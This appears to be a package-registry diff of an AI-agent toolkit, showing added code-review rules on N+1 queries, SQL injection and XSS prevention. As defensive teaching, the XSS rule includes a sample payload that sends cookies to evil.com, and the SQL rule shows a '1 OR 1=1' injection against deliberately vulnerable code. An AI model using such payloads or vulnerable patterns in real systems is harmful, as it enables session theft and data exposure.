@ranimontagna/agent-toolkit 0.1.7 → 0.1.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +59 -6
- package/package.json +1 -1
- package/skills/backend/database/postgres-patterns/LICENSE.ANTIGRAVITY +21 -0
- package/skills/backend/database/postgres-patterns/LICENSE.ECC +21 -0
- package/skills/backend/database/postgres-patterns/NOTICE.md +11 -0
- package/skills/backend/database/postgres-patterns/SKILL.md +180 -0
- package/skills/backend/kotlin/kotlin-patterns/LICENSE +21 -0
- package/skills/backend/kotlin/kotlin-patterns/NOTICE.md +7 -0
- package/skills/backend/kotlin/kotlin-patterns/SKILL.md +711 -0
- package/skills/backend/kotlin/kotlin-testing/LICENSE +21 -0
- package/skills/backend/kotlin/kotlin-testing/NOTICE.md +7 -0
- package/skills/backend/kotlin/kotlin-testing/SKILL.md +824 -0
- package/skills/backend/python/python-patterns/LICENSE +21 -0
- package/skills/backend/python/python-patterns/NOTICE.md +7 -0
- package/skills/backend/python/python-patterns/SKILL.md +424 -0
- package/skills/backend/python/python-testing/LICENSE +21 -0
- package/skills/backend/python/python-testing/NOTICE.md +7 -0
- package/skills/backend/python/python-testing/SKILL.md +494 -0
- package/skills/devops/docker-patterns/LICENSE.ANTIGRAVITY +21 -0
- package/skills/devops/docker-patterns/LICENSE.ECC +21 -0
- package/skills/devops/docker-patterns/NOTICE.md +11 -0
- package/skills/devops/docker-patterns/SKILL.md +397 -0
- package/skills/frontend/accessibility/LICENSE +21 -0
- package/skills/frontend/accessibility/NOTICE.md +10 -0
- package/skills/frontend/accessibility/SKILL.md +145 -0
- package/skills/frontend/design/ui-ux-pro-max/LICENSE +21 -0
- package/skills/frontend/design/ui-ux-pro-max/NOTICE.md +12 -0
- package/skills/frontend/design/ui-ux-pro-max/SKILL.md +672 -0
- package/skills/frontend/design/ui-ux-pro-max/data/_sync_all.py +414 -0
- package/skills/frontend/design/ui-ux-pro-max/data/app-interface.csv +31 -0
- package/skills/frontend/design/ui-ux-pro-max/data/charts.csv +26 -0
- package/skills/frontend/design/ui-ux-pro-max/data/colors.csv +162 -0
- package/skills/frontend/design/ui-ux-pro-max/data/design.csv +1776 -0
- package/skills/frontend/design/ui-ux-pro-max/data/draft.csv +1779 -0
- package/skills/frontend/design/ui-ux-pro-max/data/google-fonts.csv +1924 -0
- package/skills/frontend/design/ui-ux-pro-max/data/icons.csv +106 -0
- package/skills/frontend/design/ui-ux-pro-max/data/landing.csv +35 -0
- package/skills/frontend/design/ui-ux-pro-max/data/products.csv +162 -0
- package/skills/frontend/design/ui-ux-pro-max/data/react-performance.csv +45 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/angular.csv +51 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/astro.csv +54 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/flutter.csv +53 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/html-tailwind.csv +56 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/jetpack-compose.csv +53 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/laravel.csv +51 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/nextjs.csv +53 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/nuxt-ui.csv +51 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/nuxtjs.csv +59 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/react-native.csv +52 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/react.csv +54 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/shadcn.csv +61 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/svelte.csv +54 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/swiftui.csv +51 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/threejs.csv +54 -0
- package/skills/frontend/design/ui-ux-pro-max/data/stacks/vue.csv +50 -0
- package/skills/frontend/design/ui-ux-pro-max/data/styles.csv +85 -0
- package/skills/frontend/design/ui-ux-pro-max/data/typography.csv +74 -0
- package/skills/frontend/design/ui-ux-pro-max/data/ui-reasoning.csv +162 -0
- package/skills/frontend/design/ui-ux-pro-max/data/ux-guidelines.csv +100 -0
- package/skills/frontend/design/ui-ux-pro-max/scripts/core.py +262 -0
- package/skills/frontend/design/ui-ux-pro-max/scripts/design_system.py +1148 -0
- package/skills/frontend/design/ui-ux-pro-max/scripts/search.py +114 -0
- package/skills/general/code-reviewer/AGENTS.md +292 -0
- package/skills/general/code-reviewer/LICENSE +201 -0
- package/skills/general/code-reviewer/NOTICE.md +10 -0
- package/skills/general/code-reviewer/SKILL.md +132 -0
- package/skills/general/code-reviewer/rules/correctness-error-handling.md +279 -0
- package/skills/general/code-reviewer/rules/maintainability-naming.md +149 -0
- package/skills/general/code-reviewer/rules/maintainability-type-hints.md +93 -0
- package/skills/general/code-reviewer/rules/performance-n-plus-one.md +250 -0
- package/skills/general/code-reviewer/rules/security-sql-injection.md +142 -0
- package/skills/general/code-reviewer/rules/security-xss-prevention.md +225 -0
|
@@ -0,0 +1,250 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Avoid N+1 Query Problem
|
|
3
|
+
impact: HIGH
|
|
4
|
+
category: performance
|
|
5
|
+
tags: database, performance, orm, queries
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Avoid N+1 Query Problem
|
|
9
|
+
|
|
10
|
+
The N+1 query problem occurs when code executes 1 query to fetch a list, then N additional queries to fetch related data for each item. This causes severe performance degradation.
|
|
11
|
+
|
|
12
|
+
## Why This Matters
|
|
13
|
+
|
|
14
|
+
N+1 queries are one of the most common performance problems:
|
|
15
|
+
- **10 items** → 11 queries (1 + 10)
|
|
16
|
+
- **100 items** → 101 queries (1 + 100)
|
|
17
|
+
- **1000 items** → 1001 queries (1 + 1000)
|
|
18
|
+
|
|
19
|
+
Each query has network latency (~1-50ms), so 1000 queries = 1-50 seconds of waiting!
|
|
20
|
+
|
|
21
|
+
## ❌ Incorrect
|
|
22
|
+
|
|
23
|
+
**Problem:** Fetching related data inside a loop.
|
|
24
|
+
|
|
25
|
+
### Python (Django ORM)
|
|
26
|
+
```python
|
|
27
|
+
# ❌ N+1 queries
|
|
28
|
+
def get_posts_with_authors():
|
|
29
|
+
posts = Post.objects.all() # 1 query: SELECT * FROM posts
|
|
30
|
+
|
|
31
|
+
for post in posts:
|
|
32
|
+
# N queries (one per post): SELECT * FROM users WHERE id = ?
|
|
33
|
+
print(f"{post.title} by {post.author.name}")
|
|
34
|
+
|
|
35
|
+
return posts
|
|
36
|
+
|
|
37
|
+
# With 100 posts: 101 database queries!
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
### JavaScript (Sequelize)
|
|
41
|
+
```javascript
|
|
42
|
+
// ❌ N+1 queries
|
|
43
|
+
async function getPostsWithAuthors() {
|
|
44
|
+
const posts = await Post.findAll(); // 1 query
|
|
45
|
+
|
|
46
|
+
for (const post of posts) {
|
|
47
|
+
// N queries
|
|
48
|
+
const author = await User.findByPk(post.authorId);
|
|
49
|
+
console.log(`${post.title} by ${author.name}`);
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
### GraphQL (Common Mistake)
|
|
55
|
+
```javascript
|
|
56
|
+
// ❌ N+1 queries in resolvers
|
|
57
|
+
const resolvers = {
|
|
58
|
+
Query: {
|
|
59
|
+
posts: () => db.posts.findAll() // 1 query
|
|
60
|
+
},
|
|
61
|
+
Post: {
|
|
62
|
+
// Runs for EACH post!
|
|
63
|
+
author: (post) => db.users.findById(post.authorId) // N queries
|
|
64
|
+
}
|
|
65
|
+
};
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
## ✅ Correct
|
|
69
|
+
|
|
70
|
+
### Solution 1: Eager Loading / Join Fetching
|
|
71
|
+
|
|
72
|
+
**Python (Django)**
|
|
73
|
+
```python
|
|
74
|
+
# ✅ 1 query with JOIN
|
|
75
|
+
def get_posts_with_authors():
|
|
76
|
+
posts = Post.objects.select_related('author').all()
|
|
77
|
+
# Single query: SELECT * FROM posts JOIN users ON posts.author_id = users.id
|
|
78
|
+
|
|
79
|
+
for post in posts:
|
|
80
|
+
print(f"{post.title} by {post.author.name}") # No extra query!
|
|
81
|
+
|
|
82
|
+
return posts
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
**Python (SQLAlchemy)**
|
|
86
|
+
```python
|
|
87
|
+
# ✅ 1 query with JOIN
|
|
88
|
+
from sqlalchemy.orm import joinedload
|
|
89
|
+
|
|
90
|
+
posts = session.query(Post).options(joinedload(Post.author)).all()
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
**JavaScript (Sequelize)**
|
|
94
|
+
```javascript
|
|
95
|
+
// ✅ 1 query with JOIN
|
|
96
|
+
const posts = await Post.findAll({
|
|
97
|
+
include: [{
|
|
98
|
+
model: User,
|
|
99
|
+
as: 'author'
|
|
100
|
+
}]
|
|
101
|
+
});
|
|
102
|
+
|
|
103
|
+
posts.forEach(post => {
|
|
104
|
+
console.log(`${post.title} by ${post.author.name}`); // No extra query!
|
|
105
|
+
});
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
**JavaScript (Prisma)**
|
|
109
|
+
```javascript
|
|
110
|
+
// ✅ 1 query with JOIN
|
|
111
|
+
const posts = await prisma.post.findMany({
|
|
112
|
+
include: {
|
|
113
|
+
author: true
|
|
114
|
+
}
|
|
115
|
+
});
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### Solution 2: Batching / DataLoader (for GraphQL)
|
|
119
|
+
|
|
120
|
+
```javascript
|
|
121
|
+
// ✅ Using DataLoader to batch queries
|
|
122
|
+
const DataLoader = require('dataloader');
|
|
123
|
+
|
|
124
|
+
const userLoader = new DataLoader(async (userIds) => {
|
|
125
|
+
// Called once with all user IDs: [1, 2, 3, 4, ...]
|
|
126
|
+
const users = await db.users.findAll({
|
|
127
|
+
where: { id: { in: userIds } }
|
|
128
|
+
});
|
|
129
|
+
|
|
130
|
+
// Return in same order as requested
|
|
131
|
+
return userIds.map(id => users.find(u => u.id === id));
|
|
132
|
+
});
|
|
133
|
+
|
|
134
|
+
const resolvers = {
|
|
135
|
+
Post: {
|
|
136
|
+
author: (post) => userLoader.load(post.authorId) // Batched!
|
|
137
|
+
}
|
|
138
|
+
};
|
|
139
|
+
|
|
140
|
+
// 100 posts → 2 queries (1 for posts, 1 batched for all authors)
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
### Solution 3: Prefetch IDs, Then Batch
|
|
144
|
+
|
|
145
|
+
```python
|
|
146
|
+
# ✅ Fetch all at once
|
|
147
|
+
def get_posts_with_authors():
|
|
148
|
+
posts = Post.objects.all()
|
|
149
|
+
|
|
150
|
+
# Get all unique author IDs
|
|
151
|
+
author_ids = {post.author_id for post in posts}
|
|
152
|
+
|
|
153
|
+
# Single query for all authors
|
|
154
|
+
authors = User.objects.filter(id__in=author_ids)
|
|
155
|
+
author_map = {author.id: author for author in authors}
|
|
156
|
+
|
|
157
|
+
# Attach authors to posts
|
|
158
|
+
for post in posts:
|
|
159
|
+
post.author = author_map[post.author_id]
|
|
160
|
+
|
|
161
|
+
return posts
|
|
162
|
+
|
|
163
|
+
# 2 queries total (much better than N+1)
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
## Many-to-Many Relationships
|
|
167
|
+
|
|
168
|
+
**❌ N+1 with many-to-many**
|
|
169
|
+
```python
|
|
170
|
+
# ❌ Bad
|
|
171
|
+
posts = Post.objects.all()
|
|
172
|
+
for post in posts:
|
|
173
|
+
tags = post.tags.all() # N queries!
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
**✅ Prefetch many-to-many**
|
|
177
|
+
```python
|
|
178
|
+
# ✅ Good
|
|
179
|
+
posts = Post.objects.prefetch_related('tags').all()
|
|
180
|
+
for post in posts:
|
|
181
|
+
tags = post.tags.all() # No extra queries!
|
|
182
|
+
|
|
183
|
+
# Uses 2 queries:
|
|
184
|
+
# 1. SELECT * FROM posts
|
|
185
|
+
# 2. SELECT * FROM tags WHERE post_id IN (1,2,3,...)
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
## Detecting N+1 Queries
|
|
189
|
+
|
|
190
|
+
### Django Debug Toolbar
|
|
191
|
+
```python
|
|
192
|
+
# settings.py
|
|
193
|
+
INSTALLED_APPS = ['debug_toolbar', ...]
|
|
194
|
+
|
|
195
|
+
# Shows exact queries executed
|
|
196
|
+
# Highlights duplicate queries
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
### Query Logging
|
|
200
|
+
```python
|
|
201
|
+
# Python: log all queries
|
|
202
|
+
import logging
|
|
203
|
+
logging.basicConfig()
|
|
204
|
+
logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO)
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
```javascript
|
|
208
|
+
// Sequelize: log queries
|
|
209
|
+
const sequelize = new Sequelize({
|
|
210
|
+
logging: console.log // or custom logger
|
|
211
|
+
});
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### Profiling Tools
|
|
215
|
+
- **Django**: django-silk, django-debug-toolbar
|
|
216
|
+
- **Rails**: bullet gem
|
|
217
|
+
- **Node.js**: Sequelize logging, Prisma debug mode
|
|
218
|
+
- **GraphQL**: graphql-query-complexity
|
|
219
|
+
|
|
220
|
+
## Performance Comparison
|
|
221
|
+
|
|
222
|
+
```
|
|
223
|
+
Test: Fetch 100 posts with authors
|
|
224
|
+
|
|
225
|
+
N+1 Queries (101 queries):
|
|
226
|
+
- Local DB: ~101ms (1ms per query)
|
|
227
|
+
- Remote DB: ~5.1s (50ms latency × 101)
|
|
228
|
+
|
|
229
|
+
Eager Loading (1 query):
|
|
230
|
+
- Local DB: ~10ms
|
|
231
|
+
- Remote DB: ~50ms
|
|
232
|
+
|
|
233
|
+
🚀 10-100x faster!
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
## Best Practices
|
|
237
|
+
|
|
238
|
+
- [ ] **Use eager loading** (`select_related`, `prefetch_related`, `include`)
|
|
239
|
+
- [ ] **Batch queries** when eager loading not possible
|
|
240
|
+
- [ ] **Use DataLoader** for GraphQL
|
|
241
|
+
- [ ] **Enable query logging** in development
|
|
242
|
+
- [ ] **Set up monitoring** for query counts in production
|
|
243
|
+
- [ ] **Add tests** to verify query counts
|
|
244
|
+
|
|
245
|
+
## References
|
|
246
|
+
|
|
247
|
+
- [Django select_related/prefetch_related](https://docs.djangoproject.com/en/stable/ref/models/querysets/#select-related)
|
|
248
|
+
- [Sequelize Eager Loading](https://sequelize.org/docs/v6/advanced-association-concepts/eager-loading/)
|
|
249
|
+
- [DataLoader for GraphQL](https://github.com/graphql/dataloader)
|
|
250
|
+
- [Bullet gem (Rails)](https://github.com/flyerhzm/bullet)
|
|
@@ -0,0 +1,142 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: SQL Injection Prevention
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
category: security
|
|
5
|
+
tags: sql, security, injection, database
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# SQL Injection Prevention
|
|
9
|
+
|
|
10
|
+
Never construct SQL queries with string concatenation or f-strings. Always use parameterized queries to prevent SQL injection attacks.
|
|
11
|
+
|
|
12
|
+
## Why This Matters
|
|
13
|
+
|
|
14
|
+
SQL injection is one of the most common and dangerous web vulnerabilities. Attackers can:
|
|
15
|
+
- Access unauthorized data
|
|
16
|
+
- Modify or delete database records
|
|
17
|
+
- Execute admin operations on the database
|
|
18
|
+
- In some cases, issue commands to the OS
|
|
19
|
+
|
|
20
|
+
## ❌ Incorrect
|
|
21
|
+
|
|
22
|
+
**Problem:** User input directly interpolated into SQL query.
|
|
23
|
+
|
|
24
|
+
```python
|
|
25
|
+
def get_user(user_id):
|
|
26
|
+
query = f"SELECT * FROM users WHERE id = {user_id}"
|
|
27
|
+
result = db.execute(query)
|
|
28
|
+
return result
|
|
29
|
+
|
|
30
|
+
# Vulnerable to: get_user("1 OR 1=1")
|
|
31
|
+
# Executes: SELECT * FROM users WHERE id = 1 OR 1=1
|
|
32
|
+
# Returns all users!
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
**Why it's dangerous:**
|
|
36
|
+
- Attacker can inject arbitrary SQL
|
|
37
|
+
- Can bypass authentication
|
|
38
|
+
- Can extract entire database
|
|
39
|
+
- Simple user input becomes code execution
|
|
40
|
+
|
|
41
|
+
## ✅ Correct
|
|
42
|
+
|
|
43
|
+
**Solution:** Use parameterized queries (prepared statements).
|
|
44
|
+
|
|
45
|
+
```python
|
|
46
|
+
def get_user(user_id: int) -> Optional[Dict[str, Any]]:
|
|
47
|
+
"""Safely retrieve user by ID.
|
|
48
|
+
|
|
49
|
+
Args:
|
|
50
|
+
user_id: User ID to look up
|
|
51
|
+
|
|
52
|
+
Returns:
|
|
53
|
+
User record or None if not found
|
|
54
|
+
"""
|
|
55
|
+
query = "SELECT * FROM users WHERE id = ?"
|
|
56
|
+
result = db.execute(query, (user_id,))
|
|
57
|
+
return result.fetchone() if result else None
|
|
58
|
+
|
|
59
|
+
# Safe: user_id is treated as data, not code
|
|
60
|
+
# Even malicious input is harmless
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
**Why it's safe:**
|
|
64
|
+
- Parameters are escaped automatically
|
|
65
|
+
- Input treated as data, never as code
|
|
66
|
+
- Database driver handles sanitization
|
|
67
|
+
- No way to inject SQL syntax
|
|
68
|
+
|
|
69
|
+
## Framework-Specific Solutions
|
|
70
|
+
|
|
71
|
+
### SQLAlchemy (Python)
|
|
72
|
+
```python
|
|
73
|
+
from sqlalchemy import select, text
|
|
74
|
+
|
|
75
|
+
# ✅ Using ORM
|
|
76
|
+
user = session.query(User).filter(User.id == user_id).first()
|
|
77
|
+
|
|
78
|
+
# ✅ Using Core with parameters
|
|
79
|
+
query = select(users).where(users.c.id == user_id)
|
|
80
|
+
|
|
81
|
+
# ✅ Using text() with bound parameters
|
|
82
|
+
query = text("SELECT * FROM users WHERE id = :id")
|
|
83
|
+
result = session.execute(query, {"id": user_id})
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
### Django (Python)
|
|
87
|
+
```python
|
|
88
|
+
# ✅ Using ORM
|
|
89
|
+
User.objects.get(id=user_id)
|
|
90
|
+
|
|
91
|
+
# ✅ Using raw SQL with parameters
|
|
92
|
+
User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
### Node.js (PostgreSQL)
|
|
96
|
+
```javascript
|
|
97
|
+
// ✅ Using parameterized query
|
|
98
|
+
const result = await client.query(
|
|
99
|
+
'SELECT * FROM users WHERE id = $1',
|
|
100
|
+
[userId]
|
|
101
|
+
);
|
|
102
|
+
```
|
|
103
|
+
|
|
104
|
+
### Node.js (MySQL)
|
|
105
|
+
```javascript
|
|
106
|
+
// ✅ Using placeholder
|
|
107
|
+
const [rows] = await connection.execute(
|
|
108
|
+
'SELECT * FROM users WHERE id = ?',
|
|
109
|
+
[userId]
|
|
110
|
+
);
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
## Additional Best Practices
|
|
114
|
+
|
|
115
|
+
1. **Validate input types**
|
|
116
|
+
```python
|
|
117
|
+
def get_user(user_id: int) -> Optional[User]:
|
|
118
|
+
if not isinstance(user_id, int):
|
|
119
|
+
raise ValueError("user_id must be an integer")
|
|
120
|
+
# ... query
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
2. **Use ORMs when possible**
|
|
124
|
+
- ORMs handle parameterization automatically
|
|
125
|
+
- Reduces risk of manual SQL errors
|
|
126
|
+
- Provides abstraction and type safety
|
|
127
|
+
|
|
128
|
+
3. **Principle of least privilege**
|
|
129
|
+
- Database users should have minimal permissions
|
|
130
|
+
- Read-only accounts for SELECT operations
|
|
131
|
+
- Limits damage from successful injection
|
|
132
|
+
|
|
133
|
+
4. **Input validation as defense-in-depth**
|
|
134
|
+
- Parameterization is primary defense
|
|
135
|
+
- Validation provides additional layer
|
|
136
|
+
- Whitelist allowed characters/patterns
|
|
137
|
+
|
|
138
|
+
## References
|
|
139
|
+
|
|
140
|
+
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
|
|
141
|
+
- [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
|
|
142
|
+
- [SQLAlchemy SQL Injection Prevention](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)
|
|
@@ -0,0 +1,225 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: XSS Prevention
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
category: security
|
|
5
|
+
tags: xss, security, html, javascript
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Cross-Site Scripting (XSS) Prevention
|
|
9
|
+
|
|
10
|
+
Never insert unsanitized user input into HTML. Always escape output or use frameworks that auto-escape by default.
|
|
11
|
+
|
|
12
|
+
## Why This Matters
|
|
13
|
+
|
|
14
|
+
XSS allows attackers to inject malicious scripts into web pages viewed by other users, enabling:
|
|
15
|
+
- Session hijacking (stealing cookies/tokens)
|
|
16
|
+
- Credential theft (keylogging, form hijacking)
|
|
17
|
+
- Defacement
|
|
18
|
+
- Phishing attacks
|
|
19
|
+
- Malware distribution
|
|
20
|
+
|
|
21
|
+
## ❌ Incorrect
|
|
22
|
+
|
|
23
|
+
**Problem:** User input inserted directly into HTML without escaping.
|
|
24
|
+
|
|
25
|
+
```javascript
|
|
26
|
+
// React - dangerous!
|
|
27
|
+
function UserProfile({ user }) {
|
|
28
|
+
return (
|
|
29
|
+
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
|
|
30
|
+
);
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Vanilla JS - dangerous!
|
|
34
|
+
document.getElementById('username').innerHTML = userInput;
|
|
35
|
+
|
|
36
|
+
// Template literal - dangerous!
|
|
37
|
+
const html = `<div>Hello ${username}</div>`;
|
|
38
|
+
```
|
|
39
|
+
|
|
40
|
+
**Attack example:**
|
|
41
|
+
```javascript
|
|
42
|
+
const maliciousInput = '<img src=x onerror="fetch(\'https://evil.com?cookie=\'+document.cookie)">';
|
|
43
|
+
// If inserted without escaping, runs attacker's JavaScript
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
## ✅ Correct
|
|
47
|
+
|
|
48
|
+
### React (Auto-escaping)
|
|
49
|
+
```jsx
|
|
50
|
+
function UserProfile({ user }) {
|
|
51
|
+
// ✅ React auto-escapes by default
|
|
52
|
+
return <div>{user.bio}</div>;
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// If HTML is necessary, sanitize first
|
|
56
|
+
import DOMPurify from 'dompurify';
|
|
57
|
+
|
|
58
|
+
function UserProfile({ user }) {
|
|
59
|
+
const sanitizedBio = DOMPurify.sanitize(user.bio);
|
|
60
|
+
return (
|
|
61
|
+
<div dangerouslySetInnerHTML={{ __html: sanitizedBio }} />
|
|
62
|
+
);
|
|
63
|
+
}
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Vanilla JavaScript
|
|
67
|
+
```javascript
|
|
68
|
+
// ✅ Use textContent for plain text
|
|
69
|
+
element.textContent = userInput;
|
|
70
|
+
|
|
71
|
+
// ✅ Create elements safely
|
|
72
|
+
const div = document.createElement('div');
|
|
73
|
+
div.textContent = username;
|
|
74
|
+
container.appendChild(div);
|
|
75
|
+
|
|
76
|
+
// ✅ If HTML needed, sanitize first
|
|
77
|
+
import DOMPurify from 'dompurify';
|
|
78
|
+
element.innerHTML = DOMPurify.sanitize(userHtml);
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### Backend (Express + Template Engines)
|
|
82
|
+
```javascript
|
|
83
|
+
// ✅ Template engines auto-escape
|
|
84
|
+
// EJS
|
|
85
|
+
<div><%= username %></div> // Escaped
|
|
86
|
+
<div><%- username %></div> // NOT escaped (dangerous)
|
|
87
|
+
|
|
88
|
+
// Handlebars
|
|
89
|
+
<div>{{username}}</div> // Escaped
|
|
90
|
+
<div>{{{username}}}</div> // NOT escaped (dangerous)
|
|
91
|
+
|
|
92
|
+
// Pug
|
|
93
|
+
div= username // Escaped
|
|
94
|
+
div!= username // NOT escaped (dangerous)
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
### Python (Flask/Jinja2)
|
|
98
|
+
```python
|
|
99
|
+
from markupsafe import escape
|
|
100
|
+
|
|
101
|
+
# ✅ Manual escaping
|
|
102
|
+
@app.route('/user/<username>')
|
|
103
|
+
def user_profile(username):
|
|
104
|
+
return f'<h1>Hello {escape(username)}</h1>'
|
|
105
|
+
|
|
106
|
+
# ✅ Jinja2 auto-escapes
|
|
107
|
+
# template.html
|
|
108
|
+
<h1>Hello {{ username }}</h1> {# Escaped #}
|
|
109
|
+
<h1>Hello {{ username|safe }}</h1> {# NOT escaped #}
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
## Types of XSS
|
|
113
|
+
|
|
114
|
+
### 1. Reflected XSS
|
|
115
|
+
```javascript
|
|
116
|
+
// ❌ Dangerous: reflects URL parameter into page
|
|
117
|
+
app.get('/search', (req, res) => {
|
|
118
|
+
const query = req.query.q;
|
|
119
|
+
res.send(`<h1>Results for: ${query}</h1>`);
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
// ✅ Safe: escape output
|
|
123
|
+
app.get('/search', (req, res) => {
|
|
124
|
+
const query = escape(req.query.q);
|
|
125
|
+
res.send(`<h1>Results for: ${query}</h1>`);
|
|
126
|
+
});
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
### 2. Stored XSS
|
|
130
|
+
```javascript
|
|
131
|
+
// ❌ Dangerous: stores unsanitized input
|
|
132
|
+
app.post('/comment', async (req, res) => {
|
|
133
|
+
await db.comments.insert({ text: req.body.comment });
|
|
134
|
+
});
|
|
135
|
+
|
|
136
|
+
// Later displayed without escaping
|
|
137
|
+
app.get('/comments', async (req, res) => {
|
|
138
|
+
const comments = await db.comments.find();
|
|
139
|
+
const html = comments.map(c => `<p>${c.text}</p>`).join('');
|
|
140
|
+
res.send(html);
|
|
141
|
+
});
|
|
142
|
+
|
|
143
|
+
// ✅ Safe: sanitize on input and escape on output
|
|
144
|
+
import DOMPurify from 'isomorphic-dompurify';
|
|
145
|
+
|
|
146
|
+
app.post('/comment', async (req, res) => {
|
|
147
|
+
const sanitized = DOMPurify.sanitize(req.body.comment);
|
|
148
|
+
await db.comments.insert({ text: sanitized });
|
|
149
|
+
});
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
### 3. DOM-based XSS
|
|
153
|
+
```javascript
|
|
154
|
+
// ❌ Dangerous: uses URL fragment in DOM manipulation
|
|
155
|
+
const username = location.hash.substring(1);
|
|
156
|
+
document.getElementById('welcome').innerHTML = `Hello ${username}`;
|
|
157
|
+
|
|
158
|
+
// ✅ Safe: use textContent
|
|
159
|
+
const username = location.hash.substring(1);
|
|
160
|
+
document.getElementById('welcome').textContent = `Hello ${username}`;
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
## Content Security Policy (CSP)
|
|
164
|
+
|
|
165
|
+
Add defense-in-depth with CSP headers:
|
|
166
|
+
|
|
167
|
+
```javascript
|
|
168
|
+
// Express middleware
|
|
169
|
+
app.use((req, res, next) => {
|
|
170
|
+
res.setHeader(
|
|
171
|
+
'Content-Security-Policy',
|
|
172
|
+
"default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
|
|
173
|
+
);
|
|
174
|
+
next();
|
|
175
|
+
});
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
**What CSP prevents:**
|
|
179
|
+
- Inline scripts from executing
|
|
180
|
+
- Scripts from unauthorized domains
|
|
181
|
+
- eval() and similar dangerous functions
|
|
182
|
+
|
|
183
|
+
## Sanitization Libraries
|
|
184
|
+
|
|
185
|
+
### DOMPurify (Browser & Node.js)
|
|
186
|
+
```javascript
|
|
187
|
+
import DOMPurify from 'dompurify';
|
|
188
|
+
|
|
189
|
+
// Basic sanitization
|
|
190
|
+
const clean = DOMPurify.sanitize(dirty);
|
|
191
|
+
|
|
192
|
+
// Custom config
|
|
193
|
+
const clean = DOMPurify.sanitize(dirty, {
|
|
194
|
+
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
|
|
195
|
+
ALLOWED_ATTR: ['href']
|
|
196
|
+
});
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
### bleach (Python)
|
|
200
|
+
```python
|
|
201
|
+
import bleach
|
|
202
|
+
|
|
203
|
+
clean = bleach.clean(
|
|
204
|
+
dirty_html,
|
|
205
|
+
tags=['p', 'b', 'i', 'strong', 'em', 'a'],
|
|
206
|
+
attributes={'a': ['href', 'title']},
|
|
207
|
+
strip=True
|
|
208
|
+
)
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
## Best Practices Checklist
|
|
212
|
+
|
|
213
|
+
- [ ] **Use framework auto-escaping** (React, Vue, Angular, etc.)
|
|
214
|
+
- [ ] **Never use `innerHTML` with user input**
|
|
215
|
+
- [ ] **Sanitize HTML** if rich text is required (DOMPurify)
|
|
216
|
+
- [ ] **Implement CSP headers**
|
|
217
|
+
- [ ] **Validate input on server** (defense-in-depth)
|
|
218
|
+
- [ ] **Use HTTPOnly cookies** (prevents JavaScript access)
|
|
219
|
+
- [ ] **Encode output** for correct context (HTML, JS, URL, CSS)
|
|
220
|
+
|
|
221
|
+
## References
|
|
222
|
+
|
|
223
|
+
